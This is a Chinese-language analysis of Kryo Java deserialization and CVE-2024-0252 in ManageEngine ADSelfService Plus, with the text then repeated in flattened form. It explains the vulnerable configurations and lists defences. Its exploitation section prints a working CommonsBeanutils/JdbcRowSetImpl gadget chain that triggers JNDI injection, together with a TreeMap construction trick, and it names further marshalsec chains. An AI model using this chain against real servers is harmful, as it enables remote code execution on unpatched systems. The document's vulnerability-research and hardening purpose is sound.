从CVE-2024-0252学习kryo反序列化
字数 1557 2025-08-23 18:31:34

Kryo反序列化漏洞分析与利用(CVE-2024-0252)

1. Kryo简介

1.1 基本介绍

Kryo是一个高效的Java序列化框架,由EsotericSoftware开发,具有以下特点:

  • 高性能:序列化/反序列化速度快
  • 紧凑的数据格式:序列化后的数据体积小
  • 支持循环引用和深拷贝
  • 可扩展的序列化器系统

项目地址:https://github.com/EsotericSoftware/kryo

1.2 基本使用

Kryo kryo = new Kryo();
// 序列化
Output output = new Output(new FileOutputStream("file.bin"));
kryo.writeObject(output, object);
output.close();

// 反序列化
Input input = new Input(new FileInputStream("file.bin"));
Object obj = kryo.readObject(input, SomeClass.class);
input.close();

2. Kryo反序列化安全特性

2.1 初始化策略

Kryo提供两种主要的实例化策略:

  1. DefaultInstantiatorStrategy(默认策略):

    • 需要目标类有public无参构造函数
    • 不支持代理类实例化
  2. StdInstantiatorStrategy

    • 使用Objenesis库实例化对象
    • 可以绕过构造方法创建实例
    • 增加了反序列化风险

2.2 安全配置

  • registrationRequired参数:
    • 5.0+版本默认true(白名单模式)
    • 5.0以下版本默认false
    • 设置为true时,所有待反序列化的类都需要预先注册

2.3 反序列化方法

Kryo提供两个主要反序列化方法:

  1. readClassAndObject(Input input)

    • 完全动态反序列化
    • 风险最高
  2. readObject(Input input, Class<T> type)

    • 指定目标类型
    • 但仍可能通过嵌套反序列化触发漏洞

3. 反序列化漏洞原理

3.1 漏洞条件

  1. 使用Kryo 5.0以下版本(默认registrationRequired=false)
  2. 配置了StdInstantiatorStrategy
  3. 反序列化不受信任的数据

3.2 关键点分析

即使使用readObject指定类型,当反序列化容器类(如HashMap)时,其内部元素仍会动态反序列化。例如MapSerializer最终会调用readClassAndObject处理map中的值。

4. CVE-2024-0252分析

4.1 受影响产品

ManageEngine ADSelfService Plus

  • 影响版本:6401之前
  • 补丁分析:新增kryo.setRegistrationRequired(true);

4.2 漏洞利用链

使用CommonsBeanutils链+JdbcRowSetImpl触发JNDI注入:

public static HashMap<String, Object> exp(String jdniUrl) throws Exception {
    BeanComparator cmp = new BeanComparator("lowestSetBit", Collections.reverseOrder());
    Object trig = makeTreeMap(makeJNDIRowSet(jdniUrl), cmp);
    setFieldValue(cmp, "property", "databaseMetaData");
    HashMap<String, Object> hashMap = new HashMap();
    hashMap.put("test",trig);
    return hashMap;
}

4.3 TreeMap构造技巧

由于BeanComparator需要比较对象,构造特殊TreeMap绕过比较:

public static TreeMap<Object, Object> makeTreeMap (Object tgt, Comparator comparator) throws Exception {
    TreeMap<Object, Object> tm = new TreeMap<>(comparator);
    Class<?> entryCl = Class.forName("java.util.TreeMap$Entry");
    Constructor<?> entryCons = entryCl.getDeclaredConstructor(Object.class, Object.class, entryCl);
    entryCons.setAccessible(true);
    Field leftF = getField(entryCl, "left");
    Field rootF = getField(TreeMap.class, "root");
    Object root = entryCons.newInstance(tgt, tgt, null);
    leftF.set(root, entryCons.newInstance(tgt, tgt, root));
    rootF.set(tm, root);
    setFieldValue(tm, "size", 2);
    return tm;
}

5. 防御措施

  1. 升级Kryo到5.0+版本
  2. 设置kryo.setRegistrationRequired(true)
  3. 使用安全的反序列化白名单
  4. 避免反序列化不可信数据

6. 其他利用链

marshalsec工具提供的利用链:

  • marshalsec.Kryo:
    [SpringAbstractBeanFactoryPointcutAdvisor, CommonsBeanutils]

  • marshalsec.KryoAltStrategy:
    [Groovy, SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor,
    Rome, XBean, Resin, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]

7. 参考资源

  1. Kryo官方文档
  2. marshalsec工具
  3. CommonsBeanutils利用链分析
  4. JNDI注入原理
Kryo反序列化漏洞分析与利用(CVE-2024-0252) 1. Kryo简介 1.1 基本介绍 Kryo是一个高效的Java序列化框架,由EsotericSoftware开发,具有以下特点: 高性能:序列化/反序列化速度快 紧凑的数据格式:序列化后的数据体积小 支持循环引用和深拷贝 可扩展的序列化器系统 项目地址: https://github.com/EsotericSoftware/kryo 1.2 基本使用 2. Kryo反序列化安全特性 2.1 初始化策略 Kryo提供两种主要的实例化策略: DefaultInstantiatorStrategy (默认策略): 需要目标类有public无参构造函数 不支持代理类实例化 StdInstantiatorStrategy : 使用Objenesis库实例化对象 可以绕过构造方法创建实例 增加了反序列化风险 2.2 安全配置 registrationRequired 参数: 5.0+版本默认true(白名单模式) 5.0以下版本默认false 设置为true时,所有待反序列化的类都需要预先注册 2.3 反序列化方法 Kryo提供两个主要反序列化方法: readClassAndObject(Input input) : 完全动态反序列化 风险最高 readObject(Input input, Class<T> type) : 指定目标类型 但仍可能通过嵌套反序列化触发漏洞 3. 反序列化漏洞原理 3.1 漏洞条件 使用Kryo 5.0以下版本(默认registrationRequired=false) 配置了 StdInstantiatorStrategy 反序列化不受信任的数据 3.2 关键点分析 即使使用 readObject 指定类型,当反序列化容器类(如HashMap)时,其内部元素仍会动态反序列化。例如 MapSerializer 最终会调用 readClassAndObject 处理map中的值。 4. CVE-2024-0252分析 4.1 受影响产品 ManageEngine ADSelfService Plus 影响版本:6401之前 补丁分析:新增 kryo.setRegistrationRequired(true); 4.2 漏洞利用链 使用CommonsBeanutils链+JdbcRowSetImpl触发JNDI注入: 4.3 TreeMap构造技巧 由于BeanComparator需要比较对象,构造特殊TreeMap绕过比较: 5. 防御措施 升级Kryo到5.0+版本 设置 kryo.setRegistrationRequired(true) 使用安全的反序列化白名单 避免反序列化不可信数据 6. 其他利用链 marshalsec工具提供的利用链: marshalsec.Kryo : [ SpringAbstractBeanFactoryPointcutAdvisor, CommonsBeanutils ] marshalsec.KryoAltStrategy : [ Groovy, SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils ] 7. 参考资源 Kryo官方文档 marshalsec工具 CommonsBeanutils利用链分析 JNDI注入原理